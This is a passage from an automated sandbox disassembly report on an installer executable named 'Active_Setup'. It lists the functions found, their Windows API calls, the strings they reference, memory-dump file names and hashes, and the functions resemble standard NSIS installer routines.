Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00014C00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
